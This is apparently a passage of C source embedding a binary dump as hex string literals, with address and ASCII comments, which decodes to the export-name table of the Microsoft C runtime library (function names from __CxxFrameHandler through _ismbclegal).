"\x5F\x58\x63\x70\x74\x46\x69\x6C\x74\x65\x72\x00\x5F\x5F\x43\x78" // _XcptFilter.__Cx /* 77C2B110 */ "\x78\x43\x61\x6C\x6C\x55\x6E\x77\x69\x6E\x64\x44\x74\x6F\x72\x00" // xCallUnwindDtor. /* 77C2B120 */ "\x5F\x5F\x43\x78\x78\x44\x65\x74\x65\x63\x74\x52\x65\x74\x68\x72" // __CxxDetectRethr /* 77C2B130 */ "\x6F\x77\x00\x5F\x5F\x43\x78\x78\x45\x78\x63\x65\x70\x74\x69\x6F" // ow.__CxxExceptio /* 77C2B140 */ "\x6E\x46\x69\x6C\x74\x65\x72\x00\x5F\x5F\x43\x78\x78\x46\x72\x61" // nFilter.__CxxFra /* 77C2B150 */ "\x6D\x65\x48\x61\x6E\x64\x6C\x65\x72\x00\x5F\x5F\x43\x78\x78\x4C" // meHandler.__CxxL /* 77C2B160 */ "\x6F\x6E\x67\x6A\x6D\x70\x55\x6E\x77\x69\x6E\x64\x00\x5F\x5F\x43" // ongjmpUnwind.__C /* 77C2B170 */ "\x78\x78\x51\x75\x65\x72\x79\x45\x78\x63\x65\x70\x74\x69\x6F\x6E" // xxQueryException /* 77C2B180 */ "\x53\x69\x7A\x65\x00\x5F\x5F\x43\x78\x78\x52\x65\x67\x69\x73\x74" // Size.__CxxRegist /* 77C2B190 */ "\x65\x72\x45\x78\x63\x65\x70\x74\x69\x6F\x6E\x4F\x62\x6A\x65\x63" // erExceptionObjec /* 77C2B1A0 */ "\x74\x00\x5F\x5F\x43\x78\x78\x55\x6E\x72\x65\x67\x69\x73\x74\x65" // t.__CxxUnregiste /* 77C2B1B0 */ "\x72\x45\x78\x63\x65\x70\x74\x69\x6F\x6E\x4F\x62\x6A\x65\x63\x74" // rExceptionObject /* 77C2B1C0 */ "\x00\x5F\x5F\x44\x65\x73\x74\x72\x75\x63\x74\x45\x78\x63\x65\x70" // .__DestructExcep /* 77C2B1D0 */ "\x74\x69\x6F\x6E\x4F\x62\x6A\x65\x63\x74\x00\x5F\x5F\x52\x54\x43" // tionObject.__RTC /* 77C2B1E0 */ "\x61\x73\x74\x54\x6F\x56\x6F\x69\x64\x00\x5F\x5F\x52\x54\x44\x79" // astToVoid.__RTDy /* 77C2B1F0 */ "\x6E\x61\x6D\x69\x63\x43\x61\x73\x74\x00\x5F\x5F\x52\x54\x74\x79" // namicCast.__RTty /* 77C2B200 */ "\x70\x65\x69\x64\x00\x5F\x5F\x53\x54\x52\x49\x4E\x47\x54\x4F\x4C" // peid.__STRINGTOL /* 77C2B210 */ "\x44\x00\x5F\x5F\x5F\x6C\x63\x5F\x63\x6F\x64\x65\x70\x61\x67\x65" // D.___lc_codepage /* 77C2B220 */ "\x5F\x66\x75\x6E\x63\x00\x5F\x5F\x5F\x6C\x63\x5F\x68\x61\x6E\x64" // _func.___lc_hand /* 77C2B230 */ "\x6C\x65\x5F\x66\x75\x6E\x63\x00\x5F\x5F\x5F\x6D\x62\x5F\x63\x75" // le_func.___mb_cu /* 77C2B240 */ "\x72\x5F\x6D\x61\x78\x5F\x66\x75\x6E\x63\x00\x5F\x5F\x5F\x73\x65" // r_max_func.___se /* 77C2B250 */ "\x74\x6C\x63\x5F\x61\x63\x74\x69\x76\x65\x5F\x66\x75\x6E\x63\x00" // tlc_active_func. /* 77C2B260 */ "\x5F\x5F\x5F\x75\x6E\x67\x75\x61\x72\x64\x65\x64\x5F\x72\x65\x61" // ___unguarded_rea /* 77C2B270 */ "\x64\x6C\x63\x5F\x61\x63\x74\x69\x76\x65\x5F\x61\x64\x64\x5F\x66" // dlc_active_add_f /* 77C2B280 */ "\x75\x6E\x63\x00\x5F\x5F\x61\x72\x67\x63\x00\x5F\x5F\x61\x72\x67" // unc.__argc.__arg /* 77C2B290 */ "\x76\x00\x5F\x5F\x62\x61\x64\x69\x6F\x69\x6E\x66\x6F\x00\x5F\x5F" // v.__badioinfo.__ /* 77C2B2A0 */ "\x63\x72\x74\x43\x6F\x6D\x70\x61\x72\x65\x53\x74\x72\x69\x6E\x67" // crtCompareString /* 77C2B2B0 */ "\x41\x00\x5F\x5F\x63\x72\x74\x43\x6F\x6D\x70\x61\x72\x65\x53\x74" // A.__crtCompareSt /* 77C2B2C0 */ "\x72\x69\x6E\x67\x57\x00\x5F\x5F\x63\x72\x74\x47\x65\x74\x4C\x6F" // ringW.__crtGetLo /* 77C2B2D0 */ "\x63\x61\x6C\x65\x49\x6E\x66\x6F\x57\x00\x5F\x5F\x63\x72\x74\x47" // caleInfoW.__crtG /* 77C2B2E0 */ "\x65\x74\x53\x74\x72\x69\x6E\x67\x54\x79\x70\x65\x57\x00\x5F\x5F" // etStringTypeW.__ /* 77C2B2F0 */ "\x63\x72\x74\x4C\x43\x4D\x61\x70\x53\x74\x72\x69\x6E\x67\x41\x00" // crtLCMapStringA. /* 77C2B300 */ "\x5F\x5F\x63\x72\x74\x4C\x43\x4D\x61\x70\x53\x74\x72\x69\x6E\x67" // __crtLCMapString /* 77C2B310 */ "\x57\x00\x5F\x5F\x64\x6C\x6C\x6F\x6E\x65\x78\x69\x74\x00\x5F\x5F" // W.__dllonexit.__ /* 77C2B320 */ "\x64\x6F\x73\x65\x72\x72\x6E\x6F\x00\x5F\x5F\x66\x70\x65\x63\x6F" // doserrno.__fpeco /* 77C2B330 */ "\x64\x65\x00\x5F\x5F\x67\x65\x74\x6D\x61\x69\x6E\x61\x72\x67\x73" // de.__getmainargs /* 77C2B340 */ "\x00\x5F\x5F\x69\x6E\x69\x74\x65\x6E\x76\x00\x5F\x5F\x69\x6F\x62" // .__initenv.__iob /* 77C2B350 */ "\x5F\x66\x75\x6E\x63\x00\x5F\x5F\x69\x73\x61\x73\x63\x69\x69\x00" // _func.__isascii. /* 77C2B360 */ "\x5F\x5F\x69\x73\x63\x73\x79\x6D\x00\x5F\x5F\x69\x73\x63\x73\x79" // __iscsym.__iscsy /* 77C2B370 */ "\x6D\x66\x00\x5F\x5F\x6C\x63\x5F\x63\x6F\x64\x65\x70\x61\x67\x65" // mf.__lc_codepage /* 77C2B380 */ "\x00\x5F\x5F\x6C\x63\x5F\x63\x6F\x6C\x6C\x61\x74\x65\x5F\x63\x70" // .__lc_collate_cp /* 77C2B390 */ "\x00\x5F\x5F\x6C\x63\x5F\x68\x61\x6E\x64\x6C\x65\x00\x5F\x5F\x6C" // .__lc_handle.__l /* 77C2B3A0 */ "\x63\x6F\x6E\x76\x5F\x69\x6E\x69\x74\x00\x5F\x5F\x6D\x62\x5F\x63" // conv_init.__mb_c /* 77C2B3B0 */ "\x75\x72\x5F\x6D\x61\x78\x00\x5F\x5F\x70\x5F\x5F\x5F\x61\x72\x67" // ur_max.__p___arg /* 77C2B3C0 */ "\x63\x00\x5F\x5F\x70\x5F\x5F\x5F\x61\x72\x67\x76\x00\x5F\x5F\x70" // c.__p___argv.__p /* 77C2B3D0 */ "\x5F\x5F\x5F\x69\x6E\x69\x74\x65\x6E\x76\x00\x5F\x5F\x70\x5F\x5F" // ___initenv.__p__ /* 77C2B3E0 */ "\x5F\x6D\x62\x5F\x63\x75\x72\x5F\x6D\x61\x78\x00\x5F\x5F\x70\x5F" // _mb_cur_max.__p_ /* 77C2B3F0 */ "\x5F\x5F\x77\x61\x72\x67\x76\x00\x5F\x5F\x70\x5F\x5F\x5F\x77\x69" // __wargv.__p___wi /* 77C2B400 */ "\x6E\x69\x74\x65\x6E\x76\x00\x5F\x5F\x70\x5F\x5F\x61\x63\x6D\x64" // nitenv.__p__acmd /* 77C2B410 */ "\x6C\x6E\x00\x5F\x5F\x70\x5F\x5F\x61\x6D\x62\x6C\x6B\x73\x69\x7A" // ln.__p__amblksiz /* 77C2B420 */ "\x00\x5F\x5F\x70\x5F\x5F\x63\x6F\x6D\x6D\x6F\x64\x65\x00\x5F\x5F" // .__p__commode.__ /* 77C2B430 */ "\x70\x5F\x5F\x64\x61\x79\x6C\x69\x67\x68\x74\x00\x5F\x5F\x70\x5F" // p__daylight.__p_ /* 77C2B440 */ "\x5F\x64\x73\x74\x62\x69\x61\x73\x00\x5F\x5F\x70\x5F\x5F\x65\x6E" // _dstbias.__p__en /* 77C2B450 */ "\x76\x69\x72\x6F\x6E\x00\x5F\x5F\x70\x5F\x5F\x66\x69\x6C\x65\x69" // viron.__p__filei /* 77C2B460 */ "\x6E\x66\x6F\x00\x5F\x5F\x70\x5F\x5F\x66\x6D\x6F\x64\x65\x00\x5F" // nfo.__p__fmode._ /* 77C2B470 */ "\x5F\x70\x5F\x5F\x69\x6F\x62\x00\x5F\x5F\x70\x5F\x5F\x6D\x62\x63" // _p__iob.__p__mbc /* 77C2B480 */ "\x61\x73\x65\x6D\x61\x70\x00\x5F\x5F\x70\x5F\x5F\x6D\x62\x63\x74" // asemap.__p__mbct /* 77C2B490 */ "\x79\x70\x65\x00\x5F\x5F\x70\x5F\x5F\x6F\x73\x76\x65\x72\x00\x5F" // ype.__p__osver._ /* 77C2B4A0 */ "\x5F\x70\x5F\x5F\x70\x63\x74\x79\x70\x65\x00\x5F\x5F\x70\x5F\x5F" // _p__pctype.__p__ /* 77C2B4B0 */ "\x70\x67\x6D\x70\x74\x72\x00\x5F\x5F\x70\x5F\x5F\x70\x77\x63\x74" // pgmptr.__p__pwct /* 77C2B4C0 */ "\x79\x70\x65\x00\x5F\x5F\x70\x5F\x5F\x74\x69\x6D\x65\x7A\x6F\x6E" // ype.__p__timezon /* 77C2B4D0 */ "\x65\x00\x5F\x5F\x70\x5F\x5F\x74\x7A\x6E\x61\x6D\x65\x00\x5F\x5F" // e.__p__tzname.__ /* 77C2B4E0 */ "\x70\x5F\x5F\x77\x63\x6D\x64\x6C\x6E\x00\x5F\x5F\x70\x5F\x5F\x77" // p__wcmdln.__p__w /* 77C2B4F0 */ "\x65\x6E\x76\x69\x72\x6F\x6E\x00\x5F\x5F\x70\x5F\x5F\x77\x69\x6E" // environ.__p__win /* 77C2B500 */ "\x6D\x61\x6A\x6F\x72\x00\x5F\x5F\x70\x5F\x5F\x77\x69\x6E\x6D\x69" // major.__p__winmi /* 77C2B510 */ "\x6E\x6F\x72\x00\x5F\x5F\x70\x5F\x5F\x77\x69\x6E\x76\x65\x72\x00" // nor.__p__winver. /* 77C2B520 */ "\x5F\x5F\x70\x5F\x5F\x77\x70\x67\x6D\x70\x74\x72\x00\x5F\x5F\x70" // __p__wpgmptr.__p /* 77C2B530 */ "\x63\x74\x79\x70\x65\x5F\x66\x75\x6E\x63\x00\x5F\x5F\x70\x69\x6F" // ctype_func.__pio /* 77C2B540 */ "\x69\x6E\x66\x6F\x00\x5F\x5F\x70\x78\x63\x70\x74\x69\x6E\x66\x6F" // info.__pxcptinfo /* 77C2B550 */ "\x70\x74\x72\x73\x00\x5F\x5F\x73\x65\x74\x5F\x61\x70\x70\x5F\x74" // ptrs.__set_app_t /* 77C2B560 */ "\x79\x70\x65\x00\x5F\x5F\x73\x65\x74\x6C\x63\x5F\x61\x63\x74\x69" // ype.__setlc_acti /* 77C2B570 */ "\x76\x65\x00\x5F\x5F\x73\x65\x74\x75\x73\x65\x72\x6D\x61\x74\x68" // ve.__setusermath /* 77C2B580 */ "\x65\x72\x72\x00\x5F\x5F\x74\x68\x72\x65\x61\x64\x68\x61\x6E\x64" // err.__threadhand /* 77C2B590 */ "\x6C\x65\x00\x5F\x5F\x74\x68\x72\x65\x61\x64\x69\x64\x00\x5F\x5F" // le.__threadid.__ /* 77C2B5A0 */ "\x74\x6F\x61\x73\x63\x69\x69\x00\x5F\x5F\x75\x6E\x44\x4E\x61\x6D" // toascii.__unDNam /* 77C2B5B0 */ "\x65\x00\x5F\x5F\x75\x6E\x44\x4E\x61\x6D\x65\x45\x78\x00\x5F\x5F" // e.__unDNameEx.__ /* 77C2B5C0 */ "\x75\x6E\x67\x75\x61\x72\x64\x65\x64\x5F\x72\x65\x61\x64\x6C\x63" // unguarded_readlc /* 77C2B5D0 */ "\x5F\x61\x63\x74\x69\x76\x65\x00\x5F\x5F\x77\x61\x72\x67\x76\x00" // _active.__wargv. /* 77C2B5E0 */ "\x5F\x5F\x77\x63\x73\x65\x72\x72\x6F\x72\x00\x5F\x5F\x77\x67\x65" // __wcserror.__wge /* 77C2B5F0 */ "\x74\x6D\x61\x69\x6E\x61\x72\x67\x73\x00\x5F\x5F\x77\x69\x6E\x69" // tmainargs.__wini /* 77C2B600 */ "\x74\x65\x6E\x76\x00\x5F\x61\x62\x6E\x6F\x72\x6D\x61\x6C\x5F\x74" // tenv._abnormal_t /* 77C2B610 */ "\x65\x72\x6D\x69\x6E\x61\x74\x69\x6F\x6E\x00\x5F\x61\x63\x63\x65" // ermination._acce /* 77C2B620 */ "\x73\x73\x00\x5F\x61\x63\x6D\x64\x6C\x6E\x00\x5F\x61\x64\x6A\x5F" // ss._acmdln._adj_ /* 77C2B630 */ "\x66\x64\x69\x76\x5F\x6D\x31\x36\x69\x00\x5F\x61\x64\x6A\x5F\x66" // fdiv_m16i._adj_f /* 77C2B640 */ "\x64\x69\x76\x5F\x6D\x33\x32\x00\x5F\x61\x64\x6A\x5F\x66\x64\x69" // div_m32._adj_fdi /* 77C2B650 */ "\x76\x5F\x6D\x33\x32\x69\x00\x5F\x61\x64\x6A\x5F\x66\x64\x69\x76" // v_m32i._adj_fdiv /* 77C2B660 */ "\x5F\x6D\x36\x34\x00\x5F\x61\x64\x6A\x5F\x66\x64\x69\x76\x5F\x72" // _m64._adj_fdiv_r /* 77C2B670 */ "\x00\x5F\x61\x64\x6A\x5F\x66\x64\x69\x76\x72\x5F\x6D\x31\x36\x69" // ._adj_fdivr_m16i /* 77C2B680 */ "\x00\x5F\x61\x64\x6A\x5F\x66\x64\x69\x76\x72\x5F\x6D\x33\x32\x00" // ._adj_fdivr_m32. /* 77C2B690 */ "\x5F\x61\x64\x6A\x5F\x66\x64\x69\x76\x72\x5F\x6D\x33\x32\x69\x00" // _adj_fdivr_m32i. /* 77C2B6A0 */ "\x5F\x61\x64\x6A\x5F\x66\x64\x69\x76\x72\x5F\x6D\x36\x34\x00\x5F" // _adj_fdivr_m64._ /* 77C2B6B0 */ "\x61\x64\x6A\x5F\x66\x70\x61\x74\x61\x6E\x00\x5F\x61\x64\x6A\x5F" // adj_fpatan._adj_ /* 77C2B6C0 */ "\x66\x70\x72\x65\x6D\x00\x5F\x61\x64\x6A\x5F\x66\x70\x72\x65\x6D" // fprem._adj_fprem /* 77C2B6D0 */ "\x31\x00\x5F\x61\x64\x6A\x5F\x66\x70\x74\x61\x6E\x00\x5F\x61\x64" // 1._adj_fptan._ad /* 77C2B6E0 */ "\x6A\x75\x73\x74\x5F\x66\x64\x69\x76\x00\x5F\x61\x65\x78\x69\x74" // just_fdiv._aexit /* 77C2B6F0 */ "\x5F\x72\x74\x6E\x00\x5F\x61\x6C\x69\x67\x6E\x65\x64\x5F\x66\x72" // _rtn._aligned_fr /* 77C2B700 */ "\x65\x65\x00\x5F\x61\x6C\x69\x67\x6E\x65\x64\x5F\x6D\x61\x6C\x6C" // ee._aligned_mall /* 77C2B710 */ "\x6F\x63\x00\x5F\x61\x6C\x69\x67\x6E\x65\x64\x5F\x6F\x66\x66\x73" // oc._aligned_offs /* 77C2B720 */ "\x65\x74\x5F\x6D\x61\x6C\x6C\x6F\x63\x00\x5F\x61\x6C\x69\x67\x6E" // et_malloc._align /* 77C2B730 */ "\x65\x64\x5F\x6F\x66\x66\x73\x65\x74\x5F\x72\x65\x61\x6C\x6C\x6F" // ed_offset_reallo /* 77C2B740 */ "\x63\x00\x5F\x61\x6C\x69\x67\x6E\x65\x64\x5F\x72\x65\x61\x6C\x6C" // c._aligned_reall /* 77C2B750 */ "\x6F\x63\x00\x5F\x61\x6D\x73\x67\x5F\x65\x78\x69\x74\x00\x5F\x61" // oc._amsg_exit._a /* 77C2B760 */ "\x73\x73\x65\x72\x74\x00\x5F\x61\x74\x6F\x64\x62\x6C\x00\x5F\x61" // ssert._atodbl._a /* 77C2B770 */ "\x74\x6F\x69\x36\x34\x00\x5F\x61\x74\x6F\x6C\x64\x62\x6C\x00\x5F" // toi64._atoldbl._ /* 77C2B780 */ "\x62\x65\x65\x70\x00\x5F\x62\x65\x67\x69\x6E\x74\x68\x72\x65\x61" // beep._beginthrea /* 77C2B790 */ "\x64\x00\x5F\x62\x65\x67\x69\x6E\x74\x68\x72\x65\x61\x64\x65\x78" // d._beginthreadex /* 77C2B7A0 */ "\x00\x5F\x63\x5F\x65\x78\x69\x74\x00\x5F\x63\x61\x62\x73\x00\x5F" // ._c_exit._cabs._ /* 77C2B7B0 */ "\x63\x61\x6C\x6C\x6E\x65\x77\x68\x00\x5F\x63\x65\x78\x69\x74\x00" // callnewh._cexit. /* 77C2B7C0 */ "\x5F\x63\x67\x65\x74\x73\x00\x5F\x63\x67\x65\x74\x77\x73\x00\x5F" // _cgets._cgetws._ /* 77C2B7D0 */ "\x63\x68\x64\x69\x72\x00\x5F\x63\x68\x64\x72\x69\x76\x65\x00\x5F" // chdir._chdrive._ /* 77C2B7E0 */ "\x63\x68\x67\x73\x69\x67\x6E\x00\x5F\x63\x68\x6B\x65\x73\x70\x00" // chgsign._chkesp. /* 77C2B7F0 */ "\x5F\x63\x68\x6D\x6F\x64\x00\x5F\x63\x68\x73\x69\x7A\x65\x00\x5F" // _chmod._chsize._ /* 77C2B800 */ "\x63\x6C\x65\x61\x72\x66\x70\x00\x5F\x63\x6C\x6F\x73\x65\x00\x5F" // clearfp._close._ /* 77C2B810 */ "\x63\x6F\x6D\x6D\x69\x74\x00\x5F\x63\x6F\x6D\x6D\x6F\x64\x65\x00" // commit._commode. /* 77C2B820 */ "\x5F\x63\x6F\x6E\x74\x72\x6F\x6C\x38\x37\x00\x5F\x63\x6F\x6E\x74" // _control87._cont /* 77C2B830 */ "\x72\x6F\x6C\x66\x70\x00\x5F\x63\x6F\x70\x79\x73\x69\x67\x6E\x00" // rolfp._copysign. /* 77C2B840 */ "\x5F\x63\x70\x72\x69\x6E\x74\x66\x00\x5F\x63\x70\x75\x74\x73\x00" // _cprintf._cputs. /* 77C2B850 */ "\x5F\x63\x70\x75\x74\x77\x73\x00\x5F\x63\x72\x65\x61\x74\x00\x5F" // _cputws._creat._ /* 77C2B860 */ "\x63\x73\x63\x61\x6E\x66\x00\x5F\x63\x74\x69\x6D\x65\x36\x34\x00" // cscanf._ctime64. /* 77C2B870 */ "\x5F\x63\x74\x79\x70\x65\x00\x5F\x63\x77\x61\x69\x74\x00\x5F\x63" // _ctype._cwait._c /* 77C2B880 */ "\x77\x70\x72\x69\x6E\x74\x66\x00\x5F\x63\x77\x73\x63\x61\x6E\x66" // wprintf._cwscanf /* 77C2B890 */ "\x00\x5F\x64\x61\x79\x6C\x69\x67\x68\x74\x00\x5F\x64\x73\x74\x62" // ._daylight._dstb /* 77C2B8A0 */ "\x69\x61\x73\x00\x5F\x64\x75\x70\x00\x5F\x64\x75\x70\x32\x00\x5F" // ias._dup._dup2._ /* 77C2B8B0 */ "\x65\x63\x76\x74\x00\x5F\x65\x6E\x64\x74\x68\x72\x65\x61\x64\x00" // ecvt._endthread. /* 77C2B8C0 */ "\x5F\x65\x6E\x64\x74\x68\x72\x65\x61\x64\x65\x78\x00\x5F\x65\x6E" // _endthreadex._en /* 77C2B8D0 */ "\x76\x69\x72\x6F\x6E\x00\x5F\x65\x6F\x66\x00\x5F\x65\x72\x72\x6E" // viron._eof._errn /* 77C2B8E0 */ "\x6F\x00\x5F\x65\x78\x63\x65\x70\x74\x5F\x68\x61\x6E\x64\x6C\x65" // o._except_handle /* 77C2B8F0 */ "\x72\x32\x00\x5F\x65\x78\x63\x65\x70\x74\x5F\x68\x61\x6E\x64\x6C" // r2._except_handl /* 77C2B900 */ "\x65\x72\x33\x00\x5F\x65\x78\x65\x63\x6C\x00\x5F\x65\x78\x65\x63" // er3._execl._exec /* 77C2B910 */ "\x6C\x65\x00\x5F\x65\x78\x65\x63\x6C\x70\x00\x5F\x65\x78\x65\x63" // le._execlp._exec /* 77C2B920 */ "\x6C\x70\x65\x00\x5F\x65\x78\x65\x63\x76\x00\x5F\x65\x78\x65\x63" // lpe._execv._exec /* 77C2B930 */ "\x76\x65\x00\x5F\x65\x78\x65\x63\x76\x70\x00\x5F\x65\x78\x65\x63" // ve._execvp._exec /* 77C2B940 */ "\x76\x70\x65\x00\x5F\x65\x78\x69\x74\x00\x5F\x65\x78\x70\x61\x6E" // vpe._exit._expan /* 77C2B950 */ "\x64\x00\x5F\x66\x63\x6C\x6F\x73\x65\x61\x6C\x6C\x00\x5F\x66\x63" // d._fcloseall._fc /* 77C2B960 */ "\x76\x74\x00\x5F\x66\x64\x6F\x70\x65\x6E\x00\x5F\x66\x67\x65\x74" // vt._fdopen._fget /* 77C2B970 */ "\x63\x68\x61\x72\x00\x5F\x66\x67\x65\x74\x77\x63\x68\x61\x72\x00" // char._fgetwchar. /* 77C2B980 */ "\x5F\x66\x69\x6C\x62\x75\x66\x00\x5F\x66\x69\x6C\x65\x69\x6E\x66" // _filbuf._fileinf /* 77C2B990 */ "\x6F\x00\x5F\x66\x69\x6C\x65\x6C\x65\x6E\x67\x74\x68\x00\x5F\x66" // o._filelength._f /* 77C2B9A0 */ "\x69\x6C\x65\x6C\x65\x6E\x67\x74\x68\x69\x36\x34\x00\x5F\x66\x69" // ilelengthi64._fi /* 77C2B9B0 */ "\x6C\x65\x6E\x6F\x00\x5F\x66\x69\x6E\x64\x63\x6C\x6F\x73\x65\x00" // leno._findclose. /* 77C2B9C0 */ "\x5F\x66\x69\x6E\x64\x66\x69\x72\x73\x74\x00\x5F\x66\x69\x6E\x64" // _findfirst._find /* 77C2B9D0 */ "\x66\x69\x72\x73\x74\x36\x34\x00\x5F\x66\x69\x6E\x64\x66\x69\x72" // first64._findfir /* 77C2B9E0 */ "\x73\x74\x69\x36\x34\x00\x5F\x66\x69\x6E\x64\x6E\x65\x78\x74\x00" // sti64._findnext. /* 77C2B9F0 */ "\x5F\x66\x69\x6E\x64\x6E\x65\x78\x74\x36\x34\x00\x5F\x66\x69\x6E" // _findnext64._fin /* 77C2BA00 */ "\x64\x6E\x65\x78\x74\x69\x36\x34\x00\x5F\x66\x69\x6E\x69\x74\x65" // dnexti64._finite /* 77C2BA10 */ "\x00\x5F\x66\x6C\x73\x62\x75\x66\x00\x5F\x66\x6C\x75\x73\x68\x61" // ._flsbuf._flusha /* 77C2BA20 */ "\x6C\x6C\x00\x5F\x66\x6D\x6F\x64\x65\x00\x5F\x66\x70\x63\x6C\x61" // ll._fmode._fpcla /* 77C2BA30 */ "\x73\x73\x00\x5F\x66\x70\x69\x65\x65\x65\x5F\x66\x6C\x74\x00\x5F" // ss._fpieee_flt._ /* 77C2BA40 */ "\x66\x70\x72\x65\x73\x65\x74\x00\x5F\x66\x70\x75\x74\x63\x68\x61" // fpreset._fputcha /* 77C2BA50 */ "\x72\x00\x5F\x66\x70\x75\x74\x77\x63\x68\x61\x72\x00\x5F\x66\x73" // r._fputwchar._fs /* 77C2BA60 */ "\x6F\x70\x65\x6E\x00\x5F\x66\x73\x74\x61\x74\x00\x5F\x66\x73\x74" // open._fstat._fst /* 77C2BA70 */ "\x61\x74\x36\x34\x00\x5F\x66\x73\x74\x61\x74\x69\x36\x34\x00\x5F" // at64._fstati64._ /* 77C2BA80 */ "\x66\x74\x69\x6D\x65\x00\x5F\x66\x74\x69\x6D\x65\x36\x34\x00\x5F" // ftime._ftime64._ /* 77C2BA90 */ "\x66\x74\x6F\x6C\x00\x5F\x66\x75\x6C\x6C\x70\x61\x74\x68\x00\x5F" // ftol._fullpath._ /* 77C2BAA0 */ "\x66\x75\x74\x69\x6D\x65\x00\x5F\x66\x75\x74\x69\x6D\x65\x36\x34" // futime._futime64 /* 77C2BAB0 */ "\x00\x5F\x67\x63\x76\x74\x00\x5F\x67\x65\x74\x5F\x68\x65\x61\x70" // ._gcvt._get_heap /* 77C2BAC0 */ "\x5F\x68\x61\x6E\x64\x6C\x65\x00\x5F\x67\x65\x74\x5F\x6F\x73\x66" // _handle._get_osf /* 77C2BAD0 */ "\x68\x61\x6E\x64\x6C\x65\x00\x5F\x67\x65\x74\x5F\x73\x62\x68\x5F" // handle._get_sbh_ /* 77C2BAE0 */ "\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x00\x5F\x67\x65\x74\x63\x68" // threshold._getch /* 77C2BAF0 */ "\x00\x5F\x67\x65\x74\x63\x68\x65\x00\x5F\x67\x65\x74\x63\x77\x64" // ._getche._getcwd /* 77C2BB00 */ "\x00\x5F\x67\x65\x74\x64\x63\x77\x64\x00\x5F\x67\x65\x74\x64\x69" // ._getdcwd._getdi /* 77C2BB10 */ "\x73\x6B\x66\x72\x65\x65\x00\x5F\x67\x65\x74\x64\x6C\x6C\x70\x72" // skfree._getdllpr /* 77C2BB20 */ "\x6F\x63\x61\x64\x64\x72\x00\x5F\x67\x65\x74\x64\x72\x69\x76\x65" // ocaddr._getdrive /* 77C2BB30 */ "\x00\x5F\x67\x65\x74\x64\x72\x69\x76\x65\x73\x00\x5F\x67\x65\x74" // ._getdrives._get /* 77C2BB40 */ "\x6D\x61\x78\x73\x74\x64\x69\x6F\x00\x5F\x67\x65\x74\x6D\x62\x63" // maxstdio._getmbc /* 77C2BB50 */ "\x70\x00\x5F\x67\x65\x74\x70\x69\x64\x00\x5F\x67\x65\x74\x73\x79" // p._getpid._getsy /* 77C2BB60 */ "\x73\x74\x69\x6D\x65\x00\x5F\x67\x65\x74\x77\x00\x5F\x67\x65\x74" // stime._getw._get /* 77C2BB70 */ "\x77\x63\x68\x00\x5F\x67\x65\x74\x77\x63\x68\x65\x00\x5F\x67\x65" // wch._getwche._ge /* 77C2BB80 */ "\x74\x77\x73\x00\x5F\x67\x6C\x6F\x62\x61\x6C\x5F\x75\x6E\x77\x69" // tws._global_unwi /* 77C2BB90 */ "\x6E\x64\x32\x00\x5F\x67\x6D\x74\x69\x6D\x65\x36\x34\x00\x5F\x68" // nd2._gmtime64._h /* 77C2BBA0 */ "\x65\x61\x70\x61\x64\x64\x00\x5F\x68\x65\x61\x70\x63\x68\x6B\x00" // eapadd._heapchk. /* 77C2BBB0 */ "\x5F\x68\x65\x61\x70\x6D\x69\x6E\x00\x5F\x68\x65\x61\x70\x73\x65" // _heapmin._heapse /* 77C2BBC0 */ "\x74\x00\x5F\x68\x65\x61\x70\x75\x73\x65\x64\x00\x5F\x68\x65\x61" // t._heapused._hea /* 77C2BBD0 */ "\x70\x77\x61\x6C\x6B\x00\x5F\x68\x79\x70\x6F\x74\x00\x5F\x69\x36" // pwalk._hypot._i6 /* 77C2BBE0 */ "\x34\x74\x6F\x61\x00\x5F\x69\x36\x34\x74\x6F\x77\x00\x5F\x69\x6E" // 4toa._i64tow._in /* 77C2BBF0 */ "\x69\x74\x74\x65\x72\x6D\x00\x5F\x69\x6E\x70\x00\x5F\x69\x6E\x70" // itterm._inp._inp /* 77C2BC00 */ "\x64\x00\x5F\x69\x6E\x70\x77\x00\x5F\x69\x6F\x62\x00\x5F\x69\x73" // d._inpw._iob._is /* 77C2BC10 */ "\x61\x74\x74\x79\x00\x5F\x69\x73\x63\x74\x79\x70\x65\x00\x5F\x69" // atty._isctype._i /* 77C2BC20 */ "\x73\x6D\x62\x62\x61\x6C\x6E\x75\x6D\x00\x5F\x69\x73\x6D\x62\x62" // smbbalnum._ismbb /* 77C2BC30 */ "\x61\x6C\x70\x68\x61\x00\x5F\x69\x73\x6D\x62\x62\x67\x72\x61\x70" // alpha._ismbbgrap /* 77C2BC40 */ "\x68\x00\x5F\x69\x73\x6D\x62\x62\x6B\x61\x6C\x6E\x75\x6D\x00\x5F" // h._ismbbkalnum._ /* 77C2BC50 */ "\x69\x73\x6D\x62\x62\x6B\x61\x6E\x61\x00\x5F\x69\x73\x6D\x62\x62" // ismbbkana._ismbb /* 77C2BC60 */ "\x6B\x70\x72\x69\x6E\x74\x00\x5F\x69\x73\x6D\x62\x62\x6B\x70\x75" // kprint._ismbbkpu /* 77C2BC70 */ "\x6E\x63\x74\x00\x5F\x69\x73\x6D\x62\x62\x6C\x65\x61\x64\x00\x5F" // nct._ismbblead._ /* 77C2BC80 */ "\x69\x73\x6D\x62\x62\x70\x72\x69\x6E\x74\x00\x5F\x69\x73\x6D\x62" // ismbbprint._ismb /* 77C2BC90 */ "\x62\x70\x75\x6E\x63\x74\x00\x5F\x69\x73\x6D\x62\x62\x74\x72\x61" // bpunct._ismbbtra /* 77C2BCA0 */ "\x69\x6C\x00\x5F\x69\x73\x6D\x62\x63\x61\x6C\x6E\x75\x6D\x00\x5F" // il._ismbcalnum._ /* 77C2BCB0 */ "\x69\x73\x6D\x62\x63\x61\x6C\x70\x68\x61\x00\x5F\x69\x73\x6D\x62" // ismbcalpha._ismb /* 77C2BCC0 */ "\x63\x64\x69\x67\x69\x74\x00\x5F\x69\x73\x6D\x62\x63\x67\x72\x61" // cdigit._ismbcgra /* 77C2BCD0 */ "\x70\x68\x00\x5F\x69\x73\x6D\x62\x63\x68\x69\x72\x61\x00\x5F\x69" // ph._ismbchira._i /* 77C2BCE0 */ "\x73\x6D\x62\x63\x6B\x61\x74\x61\x00\x5F\x69\x73\x6D\x62\x63\x6C" // smbckata._ismbcl /* 77C2BCF0 */ "\x30\x00\x5F\x69\x73\x6D\x62\x63\x6C\x31\x00\x5F\x69\x73\x6D\x62" // 0._ismbcl1._ismb /* 77C2BD00 */ "\x63\x6C\x32\x00\x5F\x69\x73\x6D\x62\x63\x6C\x65\x67\x61\x6C\x00" // cl2._ismbclegal. /* 77C2BD10 */ 